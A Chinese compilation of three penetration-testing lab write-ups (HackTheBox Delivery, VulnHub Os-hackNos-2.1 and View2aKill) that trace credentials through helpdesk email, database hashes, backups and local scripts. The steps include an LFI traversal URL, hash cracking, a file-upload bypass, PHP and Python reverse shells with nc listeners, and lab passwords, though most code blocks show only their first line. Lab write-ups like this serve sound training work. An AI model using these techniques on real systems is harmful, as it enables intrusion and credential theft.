备份材料、验证流程与密码规则
原案例中的账户线索分布在工单、聊天、备份和本地文件里。本章保留材料来源、编码或哈希形式,以及恢复后在哪个接口得到验证,避免只记住一个最终口令。
分析重点
Delivery 的工单邮箱与 Mattermost 注册流程连接到密码规则。
Os-hackNos-2.1 结合备份与 WordPress 数据,View2aKill 跟踪开发目录与本地脚本。
字典、规则和哈希格式依原记录保留,具体账号沿各案例核查。
案例与技术索引
| 分析入口 | 实验来源 | 技术点 |
|---|---|---|
| 邮箱验证边界与密码规则 | delivery | 邮箱验证、Mattermost、密码审计 |
| 备份、哈希与 CMS 账户复用 | hackNos-Os-hackNos-2-1 | WordPress、备份泄露、密码审计 |
| 应用备份与凭据线索 | View2aKill | 备份泄露、模糊测试、Python |
邮箱验证边界与密码规则
工单邮箱影响内部门户注册,Mattermost 配置和聊天内容进一步连接到密码规则。保留规则生成、哈希验证及失败尝试的原始次序。
来源 delivery · 原记录 2021-01-12 · 14 个代码块 · 3 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Linux
Difficulty: Easy
Points: 20
Release: 09 Jan 2021
IP: 10.10.10.222
information gathering
first use nmap as usaul
1 | ┌──(root💀kali)-[~/hackthebox/machine/delivery] |
Port-80
There is a simple Web Page.
Let’s click on Contact Us.
This give us Two links.
Let’s click on both.
Now we find two domain name with this two links.
1 | helpdesk.delivery.htb |
Let’s add both in our /etc/hosts file.
Now let’s first go to delivery.htb:8065.
There is a login page and create-one-now option let’s click on that real quick.
Give the details and click on Create Account.
It’s asking us for verify our email address. but we don’t have that email id.
So we can’t do anything here let’s go to another domain called helpdesk.delivery.htb
It’s a support center page.
Let’s click on open a new ticket.
I fill all information and then click on Create-Ticket.
- note : Write down your email-address on mousepad or anything you want because it will use after that.
Now you also got another email and ticket number save this also in your notes.
1 | ticket id: 3192528. |
Now click on Check-Ticket-Status.
Now enter your email id which you use in your create ticket form and enter ticket number which you store in you notes.
After that click on View-Ticket.
Now you got the inbox of your email-address which will be use when we register on delivery.htb:8065.
Now open delivery.htb:8065 in new tab.
Important : Don’t close this tab.
Now again click on Create account.
Add that email-address which you got after creating ticket.
Now click on create-account.
Now he send the verify link in our previous tab. Let’s go on previous tab.
Now click on View Ticket Thread for refresh the page.
And you got the email with verfication link. copy that link and open in new tab.
Now it’s said Email verified.
Now enter the password and Sign in.
Click on Internal to Continue.
Click on Skip Tutorial.
Now if you see a closer look you find username and passowrd for ssh.
1 | maildeliverer:Youve_G0t_Mail! |
Let’s ssh in and got our user.txt.
1 | ┌──(root💀kali)-[~/hackthebox/machine/delivery] |
After some manual Enumeration found an interesting file called config.json inside /opt/mattermost/config/ directory.
1 | maildeliverer@Delivery:/opt/mattermost/config$ cat config.json |
After Enumerating the file we find the mysql creads with database name.
1 | mmuser:Crack_The_MM_Admin_PW |
Let’s login in mysql real quick.
We find the user table let’s check what’s inside that.
1 | maildeliverer@Delivery:/opt/mattermost/config$ mysql -u mmuser -p'Crack_The_MM_Admin_PW' mattermost |
1 | MariaDB [mattermost]> select * from Users; |
So now we only grep root passoword.
And we got the hash.
1 | MariaDB [mattermost]> select Password from Users where Username = 'root'; |
i use john to crack the hash with rockyou.txt but it doesn’t work.
After that i think i miss something then i realized that i don’t read the chat carefully.
I go back and read the chat of root then i realized that we want to create a wordlist with hashcat rules with this hint “PleaseSubscribe!”
1 | root |
So i download OneRuleToRuleThemAll from github for making a wordlist.
1 | ┌──(root💀kali)-[~/hackthebox/machine/delivery] |
Now we got the wordlist let’s crack the hash real quick.
1 | ┌──(root💀kali)-[~/hackthebox/machine/delivery] |
And we got the password “PleaseSubscribe!21”
Let’s change the user to root and got our favourate root.txt.
1 | maildeliverer@Delivery:~$ su root |
Summary of knowledge
- using OneRuleToRuleThemAll and hashcat generate passwords
- john crack hashs
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
备份、哈希与 CMS 账户复用
页面线索、备份哈希与 WordPress 数据库连接到多个账户。保留数据库内容、破解结果和后续权限变化的对应关系。
来源 hackNos-Os-hackNos-2-1 · 原记录 2019-12-19 · 21 个代码块 · 11 处图片引用
查看分析过程、攻击步骤与完整代码
名称:hackNos: Os-hackNos-2.1
发布日期:29 Nov 2019
下载:
- Download: https://drive.google.com/open?id=1Uszfqoomm7iv_c4aiuNb6UPl8Zgfv58s
- Download (Mirror): https://download.vulnhub.com/hacknos/Os-hackNos-2.1.ova
- Download (Torrent): https://download.vulnhub.com/hacknos/Os-hackNos-2.1.ova.torrent
难度:容易中级
flag:2个flag第一个user和第二个root
学习:Web应用程序 枚举 密码破解
网络配置
由于此靶机使用virtualbox导出的ova文件,无法适应vmware的网络配置,故将靶机放在vbox中,而攻击机kali放在vmware中,网络如下图配置方能让两台机器相互通信



信息收集
上nmap
1 | root@kali:~# nmap -sn -v 192.168.56.0/24 |
1 | root@kali:~# nmap -A -v -sV -Pn -T4 --script=vuln 192.168.56.101 |
开了2个端口,然后dirb目录扫一波
1 | root@kali:~# dirb http://192.168.56.101/ |
可以发现是wordpress程序搭建的,wpscan一波
1 | root@kali:~# wpscan --url http://192.168.56.101/tsweb/ -e ap,at,tt,cb |
网上搜索gracemedia-media-player插件发现存在本地文件包含漏洞,参考文章WordPress GraceMedia Media Player 1.0 Local File Inclusion
1 | root:x:0:0:root:/root:/bin/bash |
在此找到flag:$1$flag$vqjCxzjtRc7PofLYS2lWf/,将$1$flag$vqjCxzjtRc7PofLYS2lWf/解密得到结果topsecret

1 | http://192.168.56.101/tsweb/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd |

然后使用flag/topsecret连接ssh
1 | root@kali:~# ssh flag@192.168.56.101 |
找第一个flag
继续从之前得到的ssh用户的flag账号开始入手getshell
1 | flag@hacknos:/$ ls /var/www/html/tsweb/ |
查看配置文件得到数据库的账号密码
1 | flag@hacknos:/$ cat /var/www/html/tsweb/wp-config.php |
very nice,使用以下命令连接数据库
1 | flag@hacknos:/$ mysql -h localhost -uwpuser -phackNos-2.com |
成功连接数据库,接下来查看wordpress数据库中的数据表并且查看后台user用户的密码的hash值
1 | mysql> use wordpress; |
我试了一下将$P$B.O0cLMNmn7EoX.JMHPnNIPuBYw6S2/解密,发现无法解密,使用下面的命令修改user的密码成为user。
1 | mysql> update wp_users set user_pass=md5("user") where user_login='user'; |
$P$BRis7BEtqoG2Rvm0bIbgz.c1fl79YI.解密出来结果就是user,修改成功,登录后台.

将php reverse shell中的ip修改成kali端监听的ip,然后进入wordpress后台的模板修改界面,将
readme.txt文件内的内容改为php reverse shell木马中的内容,然后访问readme.txt文件发现成功修改。
1 | set_time_limit (0); |


然后利用之前的LFI漏洞包含该txt文件,然后kali端监听
浏览器执行
1 | 192.168.56.101/tsweb/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../var/www/html/tsweb/wp-content/themes/twentytwenty/readme.txt |
kali端成功返回shell
1 | root@kali:~# nc -lvp 5566 |
- 注意:
运行
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
这条命令很重要,运行后将能获得一个可交互的pty的shell,不运行的话很多命令无法执行。
进入到/var/backups/passbkp目录下查看md5-hash的值
1 | www-data@hacknos:/var/backups/passbkp$ cat md5-hash |
解密hash值得到!%hack41

ssh登录rohit用户,找到第一个flag,user.txt
1 | rohit@hacknos:~$ ls |
提权
帅呆了,下面提权,找到第二个flag
运行下面命令寻找SUID提权可执行文件
1 | rohit@hacknos:~$ find / -perm -u=s -type f 2>/dev/null |
发现/usr/bin/passwd和/usr/bin/sudo都具有SUID权限,就可以使用sudo passwd修改root账户的密码,从而实现root用户登录
1 | rohit@hacknos:~$ sudo passwd |
root登录
1 | rohit@hacknos:~$ su |

至此第二个flag已经找到,挑战结束,帅掉渣。
各位大虾看了觉得不错的话。请捐助我一点,不要白嫖,thanks very much.
(本文全网首发,google都搜不到,发布日期:2019/12/20)
Game over
不好意思,这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本,i am so sorry about this…It’s a pity…

The end,to be continue…
应用备份与凭据线索
开发目录、压缩包和本地脚本串起账户转换,原文保留模糊测试和后续反向连接的脚本。
来源 View2aKill · 原记录 2020-01-20 · 22 个代码块 · 14 处图片引用
查看分析过程、攻击步骤与完整代码
名称
名称:View2aKill: 1
发布日期:2019年10月29日
下载
- Download: https://drive.google.com/file/d/1Mi2rE0uffq7MPSve3_trnUtxln4HgKy_/view
- Download (Mirror): https://download.vulnhub.com/view2akill/View2aKill.ova
- Download (Torrent): https://download.vulnhub.com/view2akill/View2aKill.ova.torrent
描述
使命:百万富翁的精神病学家Max Zorin是破坏硅谷计划的幕后策划者,该计划旨在夺取国际微芯片市场的控制权。root并阻止这个疯子实现目标!
- 难度:中级
- flag是/root/flag/flag.sh
- 在VMware中使用。启用DHCP。
- 学习目标:Web应用程序安全性,脚本,Linux枚举等。

顺带说一句,这个靶机的背景图挺酷的。。。
信息收集
上nmap
1 | root@kali:~# nmap -sn -v 192.168.56.0/24 |
查看端口80登陆apache默认页面。检查robots.txt显示了几个目录。检查每一个
1 | User-agent: * |
/joomla播放一个webm文件,/zorin好像是有关公司和员工登录信息的信息。./dev是一个打开的目录,其中包含文件和备份文件的列表,因此我将必须检查所有文件,/defense也会播放一个webm文件。
返回/zorin并单击HR boarding。发现有一个用于人力资源管理的/sentrifugo和一个有趣的注释

进入/sentrifugo这是一个登录页面。但没有任何用户名或密码开始。所以从/dev open目录及其中的文件开始,这可能会导致某些问题。并且确定文件e_bkup.tar.gz是否包含登录信息。


压缩包里面有几个文件分别储存了下面的内容
New_Employee_Onboarding_Chuck.rtf:
1 | Greeting Chuck, We welcome you to the team! Please login to our HR mgmt portal(which we spoke of) and fill out your profile and Details. Make sure to enter in the descrption of your CISSP under Training & Certificate Details since you mentioned you have it. I will be checking that section often as I need to fill out related paperwork. Login username: chuck@localhost.com and password is the lowercase word/txt from the cool R&D video I showed you with the remote detonator + the transmit frequency of an HID proxcard reader - so password format example: facility007. Sorry for the rigmarole, the Security folks will kill me if I send passwords in clear text. We make some really neat tech here at Zorin, glad you joined the team Chuck Lee! |
note_to_mail_admins.txt:
1 | Yo, wassup computer geeks! I was told by design to upload a few example emails for you nerds to work with in prep for what they called "email web gooey platform". |
onboarding_email_template.rtf:
1 | Greeting EMPLOYEE, We welcome you to the team! Please login to our HR mgmt portaland fill out your profile and Details. Login username: USERNAME@localhost.com and password is: PASSWORD. INSERT ORG SPECIFIC PHRASE, glad you joined the team EMPLOYEE! |
Stop_Storing_Passwords.rtf:
1 | All, I know you're close with Max, but you can't keep storing your credentials in txt files on your desktop! We already have had complaints of the apps inactivity auto logout feature, but 5 seconds is high enough in my professional opinion. Simply copy pasting credentials in the login fields is bad practice, even if password requirments are set to 32 characters minimun! - Scarpine - Head of Security - CSO CIO |
所以现在知道用户名是chuck@localhost.com,知道密码应该是什么。所以继续尝试连接有关密码的所有部分。在该打开的目录中,有一个名为remote_control.gif的文件。其中显示单词HELICOPTER的文件,还有一个名为HID6005.pdf的文件,在规范部分,发送频率为125kHz。helicopter125应该是密码!并且肯定是的。
能够登录到人力资源管理。找不到任何有趣的东西,所以决定寻找sendrifugo漏洞,并且有几对我将使用exploitdb列出的第一个漏洞Sentrifugo-3-2-File-Upload-Restriction-Bypass
发现可以在收据下的“费用”部分上传某些类型的文件。将php-reverse-shell文件重命名为phpreverseshell1.php.doc并上传,并用burp拦截了将文件名更改为phpreverseshell1.php的请求。




访问下面的url,成功弹回shell
1 | http://192.168.56.112/sentrifugo/public/uploads/expenses_receipts/1579806690_3_phpreverseshell1.php |
1 | root@kali:~# nc -lvp 5566 |
在/home/jenny目录下发现一个压缩包,将它下载下来看看里面有什么
1 | www-data@view:/home/jenny$ ls |

passswords.txt:
1 | hr mgmt - NO ACCESS ANYMORE |
1 | root@kali:~# ssh jenny@192.168.56.112 |
todo.txt:
1 | TODO |
进入max目录下
1 | www-data@view:/home$ cd max |
从note.txt了解到需要编写python脚本进行模糊测试
fuzzv2akill.py
1 |
|
使用dirb+fuzzv2akill.py进行模糊测试
1 | root@kali:~# dirb http://192.168.56.112:8191 <(python3 fuzzv2akill.py) -z 250 |
然后将结果一个个的尝试,找到正确的url结果是:
1 | http://192.168.56.112:8191/7f98ca7ba1484c66bf09627f931448053ae6b55a |

点击按钮


记得在jenny主目录中有一个todo.txt文件,其中提到将最终脚本到/home/max/aView.py。所以转到该文件并对其进行了修改,使其在端口4444上获得了python reverse shell。在端口4444上启动了netcat监听器,然后再次返回该站点并再次单击execute按钮,然后我获得了root
1 |
|
返回了root权限的shell:
1 | root@kali:~# nc -lvp 4444 |
1 | # cd flag |
在/root/flag目录下发现run_me_for_flag.sh脚本,先查看它的内容,然后运行它
1 | # cat run_me_for_flag.sh |
1 | # ./run_me_for_flag.sh |
然后访问
1 | http://192.168.56.112:8007/ |
得到最后的flag,还能点击播放背景音乐

知识点总结
- 登陆密码泄露
- python脚本模糊测试
- python reverse shell
Game over
不好意思,这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本,i am so sorry about this…It’s a pity…

The end,to be continue…

